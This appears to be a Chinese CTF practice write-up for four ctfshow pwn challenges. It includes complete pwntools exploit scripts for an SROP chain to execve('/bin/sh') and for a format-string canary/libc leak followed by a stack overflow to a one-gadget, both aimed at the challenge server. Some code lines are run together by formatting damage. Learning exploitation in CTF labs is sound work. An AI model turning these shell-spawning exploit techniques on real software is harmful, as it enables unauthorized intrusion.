PWN-PRACTICE-CTFSHOW-7

  • 大吉大利杯-easyrop
  • 大牛杯-guess
  • 吃鸡杯-win_pwn
  • 吃鸡杯-easy_canary

大吉大利杯-easyrop

栈溢出,SROP

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64" #32位和64位的sigframe结构不同,需要指定处理器架构
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28078)
elf=ELF("./pwn1")syscall=0x4000DC #syscall gadget
buf=0x6000E0 #buf address
pop_rax=0x4000DB #pop rax;syscall gadgetsigframe = SigreturnFrame()
#sigreturn系统调用结束后,由pop恢复的寄存器值,可指定
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf#输入数据的地址
sigframe.rdx = 0x300
sigframe.rsp = buf#这里设置新的栈顶与read输入的数据地址相同,ret从栈顶弹出一个地址到rip,于是控制了下一条执行指令的地址
sigframe.rip = syscallio.recvuntil("Welcome to DJB easyrop!\n")
#正常输入数据的地址与返回地址在栈上的偏移为64,填充后rop
#pop_rax将rax赋值为15,然后会syscall,即sigreturn系统调用,将sigframe里设置的寄存器值赋为新的寄存器值
#新的rip为syscall,rax为constants.SYS_read,于是再次执行read系统调用,输入数据的地址为buf
payload="a"*64+p64(pop_rax)+p64(15)+str(sigframe)
io.send(payload)sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x120 # "/bin/sh\x00"的地址
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall#上面再次执行的read系统调用,输入数据的地址为buf,因为第一个sigreturn设置栈顶rsp也为buf,于是ret要从buf处弹出一个地址到rip,,作为下一条指令的地址,于是输入到buf的数据首先为pop_rax和新的sigframe
payload=p64(pop_rax)+p64(15)+str(sigframe) #由ret回到pop rax;syscall 执行sigreturn,给寄存器赋值,然后再执行execve系统调用,rdi为"/bin/sh\x00"的地址
payload=payload.ljust(0x120,"\x00")+"/bin/sh\x00"
io.send(payload)io.interactive()

大牛杯-guess

nc连上去,直接输入65538即可得到flag

吃鸡杯-win_pwn

exe程序,运行后随便输入一个长度为169的字符串,然后回车,即可得到flag

吃鸡杯-easy_canary

格式化字符串漏洞泄露canary和libc基地址,然后栈溢出覆盖返回地址到one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28140)
elf=ELF("./pwn1")number=0x6B8B4567
io.sendlineafter("lucky number:\n",p32(number))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary和libc基址
payload="%15$p,%21$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))
ogg=libc_base+0x45216payload="a"*72+p64(canary)+"b"*8+p64(ogg)
io.sendline(payload)io.interactive()

PWN-PRACTICE-CTFSHOW-7相关推荐

  1. CTFshow——Pwn(1)

    CTFshow--Pwn(1) 有点懒不想写write up了.只有exploit. PWN签到题 from pwn import * p = remote('xxx',xxx) p.interact ...

  2. ctfshow pwn——PWN签到题、pwn02

    PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看 很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出 用pwnd ...

  3. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  4. CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...

  5. CTFSHOW 套娃shell

    CTFSHOW 套娃shell 1.题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了): GET /?file=/a HTTP/1.1 Host: 127.0.0.1 ...

  6. [ CTF ] WriteUp- 20221003 CTFShow新(脑洞)手(套路)杯

    目录 [Misc]哇库哇库 [Misc]显卡坏了 赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...

  7. ctfshow愚人节欢乐赛wp(部分)

    目录 特殊base 凌晨四点的ctfshow php的简单RCE 以旧换新(签退-送分) 暴躁的zip Easy_game 这次月赛拿了个第十二,差一丢丢,只能说凌晨四点赚到了,下面这些是我比赛的时候 ...

  8. ctfshow吃瓜杯 八月群赛 WriteUp/WP

    Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...

  9. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  10. HDU1089-1096 A+B for Input-Output Practice 系列问题(输入输出格式练习)

    HDU1089 A+B for Input-output Practice (1) 问题描述:每行输入一对整数a和b,每行对应输出a与b的和. Sample Input 1 5 10 20 Sampl ...

最新文章

  1. 介绍4种HTML5 Canvas库
  2. Matlab中varargin函数
  3. Element-ui自定义主题换肤
  4. Python系统调用——运行其他程序
  5. tgz文件linux打开,tgz文件扩展名,tgz文件怎么打开?
  6. php软件安装及调试_PHP调试利器XDebug的安装与使用
  7. 量子计算机到底神在哪里说明文,刘露《神奇的量子通信》初中说明文阅读及答案...
  8. 高校教师实名举报基金申报书被同事抄袭,抄袭者顺利晋升职称!
  9. 双代号网络图基础算法_最新(免锁版)网络图横道图绘制软件,内附安装教程,制图做更快...
  10. Android 系统(250)---main log导入到uart口
  11. oracle表中一个字段内容导出到磁盘上
  12. python-appium520-2初步使用
  13. 区块链软件公司:你的区块链交易真的是匿名吗?
  14. 天涯明月刀ol最新服务器列表,天涯明月刀手游开服表 新区开服时间表汇总[多图]...
  15. c语言课后编程题第八章答案,C语言课后编程题答案
  16. 用R语言做数据分析——时间序列分类
  17. 导航栏隐藏的正确方式
  18. 深度学习(六):炼数成金的Tensorflow教程学习笔记(含代码)
  19. linux怎么查看文件内容
  20. 【轮播图】使用bootstrap轮播插件(Carousel)

热门文章

  1. 随笔2 PAT1001.A+B Format (20)
  2. 四叉树碰撞优化版,速度飞一样
  3. SmartFox中的類型轉換
  4. [SAP FI] Bank Master Vendor Master Creation Related Knowledge
  5. [hackinglab][CTF][基础关][2020] hackinglab 基础关 writeup
  6. 线性代数的本质笔记-更新ing
  7. 软件测试之黑盒测试-边界值分析法(理论白话学习/期中期末备考)
  8. linux ubantu扩展空间,ubuntu 扩展存储空间
  9. io密集型和cpu密集型_和小胖一起理解CPU负载和利用率
  10. android 恢复app 到前台,android手机把app disable了,怎么恢复